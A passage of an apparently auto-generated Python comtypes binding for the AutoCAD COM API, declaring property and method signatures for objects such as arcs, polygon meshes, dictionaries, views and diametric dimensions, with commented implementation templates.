_set(self, pColor):\n## '-no docstring-'\n## GradientColor2 = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return GradientAngle\n## def _set(self, GradientAngle):\n## '-no docstring-'\n## GradientAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fCentered\n## def _set(self, fCentered):\n## '-no docstring-'\n## GradientCentered = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## GradientName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return hatchType\n## def _set(self, hatchType):\n## '-no docstring-'\n## HatchObjectType = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Area(self):\n## '-no docstring-'\n## #return Area\n##\n## def _get(self):\n## '-no docstring-'\n## #return Origin\n## def _set(self, Origin):\n## '-no docstring-'\n## Origin = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## BackgroundColor = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadXline._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'BasePoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'BasePoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'BasePoint',\n ( ['in'], VARIANT, 'BasePoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'SecondPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'SecondPoint' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'SecondPoint',\n ( ['in'], VARIANT, 'SecondPoint' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'DirectionVector',\n ( ['out', 'retval'], POINTER(VARIANT), 'dirVector' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'DirectionVector',\n ( ['in'], VARIANT, 'dirVector' )),\n COMMETHOD([dispid(4)], HRESULT, 'Offset',\n ( ['in'], c_double, 'Distance' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pOffsetCurves' )),\n]\n################################################################\n## code template for IAcadXline implementation\n##class IAcadXline_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return BasePoint\n## def _set(self, BasePoint):\n## '-no docstring-'\n## BasePoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return SecondPoint\n## def _set(self, SecondPoint):\n## '-no docstring-'\n## SecondPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return dirVector\n## def _set(self, dirVector):\n## '-no docstring-'\n## DirectionVector = property(_get, _set, doc = _set.__doc__)\n##\n## def Offset(self, Distance):\n## '-no docstring-'\n## #return pOffsetCurves\n##\n\nIAcadPolygonMesh._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'Coordinates' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'Coordinates' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'MClose',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bClose' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'MClose',\n ( ['in'], VARIANT_BOOL, 'bClose' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'NClose',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bClose' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'NClose',\n ( ['in'], VARIANT_BOOL, 'bClose' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'MDensity',\n ( ['out', 'retval'], POINTER(c_int), 'density' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'MDensity',\n ( ['in'], c_int, 'density' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'NDensity',\n ( ['out', 'retval'], POINTER(c_int), 'density' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'NDensity',\n ( ['in'], c_int, 'density' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'MVertexCount',\n ( ['out', 'retval'], POINTER(c_int), 'Count' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'NVertexCount',\n ( ['out', 'retval'], POINTER(c_int), 'Count' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Type',\n ( ['out', 'retval'], POINTER(AcPolymeshType), 'Type' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'Type',\n ( ['in'], AcPolymeshType, 'Type' )),\n COMMETHOD([dispid(9)], HRESULT, 'AppendVertex',\n ( ['in'], VARIANT, 'vertex' )),\n COMMETHOD([dispid(10)], HRESULT, 'Explode',\n ( ['out', 'retval'], POINTER(VARIANT), 'pArrayObjs' )),\n COMMETHOD([dispid(11), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(11), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n]\n################################################################\n## code template for IAcadPolygonMesh implementation\n##class IAcadPolygonMesh_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Coordinates\n## def _set(self, Coordinates):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bClose\n## def _set(self, bClose):\n## '-no docstring-'\n## MClose = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bClose\n## def _set(self, bClose):\n## '-no docstring-'\n## NClose = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return density\n## def _set(self, density):\n## '-no docstring-'\n## MDensity = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return density\n## def _set(self, density):\n## '-no docstring-'\n## NDensity = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def MVertexCount(self):\n## '-no docstring-'\n## #return Count\n##\n## @property\n## def NVertexCount(self):\n## '-no docstring-'\n## #return Count\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Type = property(_get, _set, doc = _set.__doc__)\n##\n## def AppendVertex(self, vertex):\n## '-no docstring-'\n## #return \n##\n## def Explode(self):\n## '-no docstring-'\n## #return pArrayObjs\n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadArc._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'StartPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'StartPoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Center',\n ( ['out', 'retval'], POINTER(VARIANT), 'CenterPoint' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Center',\n ( ['in'], VARIANT, 'CenterPoint' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'EndPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'EndPoint' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Radius',\n ( ['out', 'retval'], POINTER(c_double), 'Radius' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Radius',\n ( ['in'], c_double, 'Radius' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'StartAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'Angle' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'StartAngle',\n ( ['in'], ACAD_ANGLE, 'Angle' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'EndAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'Angle' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'EndAngle',\n ( ['in'], ACAD_ANGLE, 'Angle' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'TotalAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'TotalAngle' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'ArcLength',\n ( ['out', 'retval'], POINTER(ACAD_DISTANCE), 'ArcLength' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(10)], HRESULT, 'Offset',\n ( ['in'], c_double, 'Distance' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pOffsetCurves' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'Area',\n ( ['out', 'retval'], POINTER(c_double), 'Area' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n]\n################################################################\n## code template for IAcadArc implementation\n##class IAcadArc_Impl(object):\n## @property\n## def StartPoint(self):\n## '-no docstring-'\n## #return StartPoint\n##\n## def _get(self):\n## '-no docstring-'\n## #return CenterPoint\n## def _set(self, CenterPoint):\n## '-no docstring-'\n## Center = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def EndPoint(self):\n## '-no docstring-'\n## #return EndPoint\n##\n## def _get(self):\n## '-no docstring-'\n## #return Radius\n## def _set(self, Radius):\n## '-no docstring-'\n## Radius = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Angle\n## def _set(self, Angle):\n## '-no docstring-'\n## StartAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Angle\n## def _set(self, Angle):\n## '-no docstring-'\n## EndAngle = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def TotalAngle(self):\n## '-no docstring-'\n## #return TotalAngle\n##\n## @property\n## def ArcLength(self):\n## '-no docstring-'\n## #return ArcLength\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def Offset(self, Distance):\n## '-no docstring-'\n## #return pOffsetCurves\n##\n## @property\n## def Area(self):\n## '-no docstring-'\n## #return Area\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadDictionary._methods_ = [\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'pVal' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'pVal' )),\n COMMETHOD([dispid(3)], HRESULT, 'AddObject',\n ( ['in'], BSTR, 'Keyword' ),\n ( ['in'], BSTR, 'ObjectName' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadObject)), 'pNewObj' )),\n COMMETHOD([dispid(4)], HRESULT, 'GetName',\n ( ['in'], POINTER(IAcadObject), 'Object' ),\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(5)], HRESULT, 'GetObject',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadObject)), 'pObj' )),\n COMMETHOD([dispid(6)], HRESULT, 'Remove',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadObject)), 'pObj' )),\n COMMETHOD([dispid(7)], HRESULT, 'Rename',\n ( ['in'], BSTR, 'OldName' ),\n ( ['in'], BSTR, 'NewName' )),\n COMMETHOD([dispid(8)], HRESULT, 'Replace',\n ( ['in'], BSTR, 'OldName' ),\n ( ['in'], POINTER(IAcadObject), 'pObj' )),\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadObject)), 'pItem' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(9)], HRESULT, 'AddXRecord',\n ( ['in'], BSTR, 'Keyword' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadXRecord)), 'pNewXRecord' )),\n]\n################################################################\n## code template for IAcadDictionary implementation\n##class IAcadDictionary_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def AddObject(self, Keyword, ObjectName):\n## '-no docstring-'\n## #return pNewObj\n##\n## def GetName(self, Object):\n## '-no docstring-'\n## #return bstrName\n##\n## def GetObject(self, Name):\n## '-no docstring-'\n## #return pObj\n##\n## def Remove(self, Name):\n## '-no docstring-'\n## #return pObj\n##\n## def Rename(self, OldName, NewName):\n## '-no docstring-'\n## #return \n##\n## def Replace(self, OldName, pObj):\n## '-no docstring-'\n## #return \n##\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pVal\n##\n## def AddXRecord(self, Keyword):\n## '-no docstring-'\n## #return pNewXRecord\n##\n\nIAcadTextStyles._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadTextStyle)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadTextStyle)), 'pTextStyle' )),\n]\n################################################################\n## code template for IAcadTextStyles implementation\n##class IAcadTextStyles_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pTextStyle\n##\n\nIAcadRegisteredApplications._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadRegisteredApplication)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadRegisteredApplication)), 'pRegApp' )),\n]\n################################################################\n## code template for IAcadRegisteredApplications implementation\n##class IAcadRegisteredApplications_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pRegApp\n##\n\nIAcadView._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Center',\n ( ['out', 'retval'], POINTER(VARIANT), 'Center' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Center',\n ( ['in'], VARIANT, 'Center' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Width',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Target',\n ( ['out', 'retval'], POINTER(VARIANT), 'targetPoint' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Target',\n ( ['in'], VARIANT, 'targetPoint' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Direction',\n ( ['out', 'retval'], POINTER(VARIANT), 'dirVec' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Direction',\n ( ['in'], VARIANT, 'dirVec' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'CategoryName',\n ( ['out', 'retval'], POINTER(BSTR), 'category' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'CategoryName',\n ( ['in'], BSTR, 'category' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'LayoutId',\n ( ['out', 'retval'], POINTER(LONG_PTR), 'ObjectID' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'LayoutId',\n ( ['in'], LONG_PTR, 'ObjectID' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'LayerState',\n ( ['out', 'retval'], POINTER(BSTR), 'LayerState' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'LayerState',\n ( ['in'], BSTR, 'LayerState' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'HasVpAssociation',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVpAssoc' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'HasVpAssociation',\n ( ['in'], VARIANT_BOOL, 'bVpAssoc' )),\n]\n################################################################\n## code template for IAcadView implementation\n##class IAcadView_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Center\n## def _set(self, Center):\n## '-no docstring-'\n## Center = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## Width = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return targetPoint\n## def _set(self, targetPoint):\n## '-no docstring-'\n## Target = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return dirVec\n## def _set(self, dirVec):\n## '-no docstring-'\n## Direction = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return category\n## def _set(self, category):\n## '-no docstring-'\n## CategoryName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ObjectID\n## def _set(self, ObjectID):\n## '-no docstring-'\n## LayoutId = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return LayerState\n## def _set(self, LayerState):\n## '-no docstring-'\n## LayerState = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVpAssoc\n## def _set(self, bVpAssoc):\n## '-no docstring-'\n## HasVpAssociation = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadPlaneSurface._methods_ = [\n]\n################################################################\n## code template for IAcadPlaneSurface implementation\n##class IAcadPlaneSurface_Impl(object):\n\nclass AcadOle(CoClass):\n _reg_clsid_ = GUID('{C6C73F45-8A5A-4A1F-9FFE-31DED6A85123}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadOle._com_interfaces_ = [IAcadOle]\nAcadOle._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadDimDiametric._methods_ = [\n COMMETHOD([dispid(42), 'nonbrowsable', 'propput'], HRESULT, 'LeaderLength',\n ( ['in'], c_double, 'rhs' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'AltUnits',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bAlternate' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'AltUnits',\n ( ['in'], VARIANT_BOOL, 'bAlternate' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'AltUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'precision' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'AltUnitsPrecision',\n ( ['in'], AcDimPrecision, 'precision' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'AltUnitsScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scale' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'AltUnitsScale',\n ( ['in'], ACAD_NOUNITS, 'scale' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'AltRoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'AltRoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'AltTolerancePrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Distance' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'AltTolerancePrecision',\n ( ['in'], AcDimPrecision, 'Distance' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'AltUnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimUnits), 'Units' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'AltUnitsFormat',\n ( ['in'], AcDimUnits, 'Units' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'AltTextPrefix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'AltTextPrefix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'AltTextSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'AltTextSuffix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Prec' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['in'], AcDimPrecision, 'Prec' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'FractionFormat',\n ( ['out', 'retval'], POINTER(AcDimFractionType), 'Type' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'FractionFormat',\n ( ['in'], AcDimFractionType, 'Type' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Fit',\n ( ['out', 'retval'], POINTER(AcDimFit), 'fittype' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Fit',\n ( ['in'], AcDimFit, 'fittype' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'LinearScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'Type' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'LinearScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'Type' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'UnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimLUnits), 'format' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'UnitsFormat',\n ( ['in'], AcDimLUnits, 'format' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'RoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'RoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'DimLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'DimLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'DimLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'DimLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'TextInsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'TextInsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'TextInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'TextInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'ForceLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'ForceLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'TextOutsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'TextOutsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(43), 'propget'], HRESULT, 'CenterType',\n ( ['out', 'retval'], POINTER(AcDimCenterType), 'Type' )),\n COMMETHOD([dispid(43), 'propput'], HRESULT, 'CenterType',\n ( ['in'], AcDimCenterType, 'Type' )),\n COMMETHOD([dispid(44), 'propget'], HRESULT, 'CenterMarkSize',\n ( ['out', 'retval'], POINTER(c_double), 'Type' )),\n COMMETHOD([dispid(44), 'propput'], HRESULT, 'CenterMarkSize',\n ( ['in'], c_double, 'Type' )),\n COMMETHOD([dispid(48), 'propget'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(48), 'propput'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(49), 'propget'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(49), 'propput'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(50), 'propget'], HRESULT, 'AltSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(50), 'propput'], HRESULT, 'AltSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'AltSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(51), 'propput'], HRESULT, 'AltSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(52), 'propget'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(52), 'propput'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(53), 'propget'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(53), 'propput'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(54), 'propget'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(54), 'propput'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(55), 'propget'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' 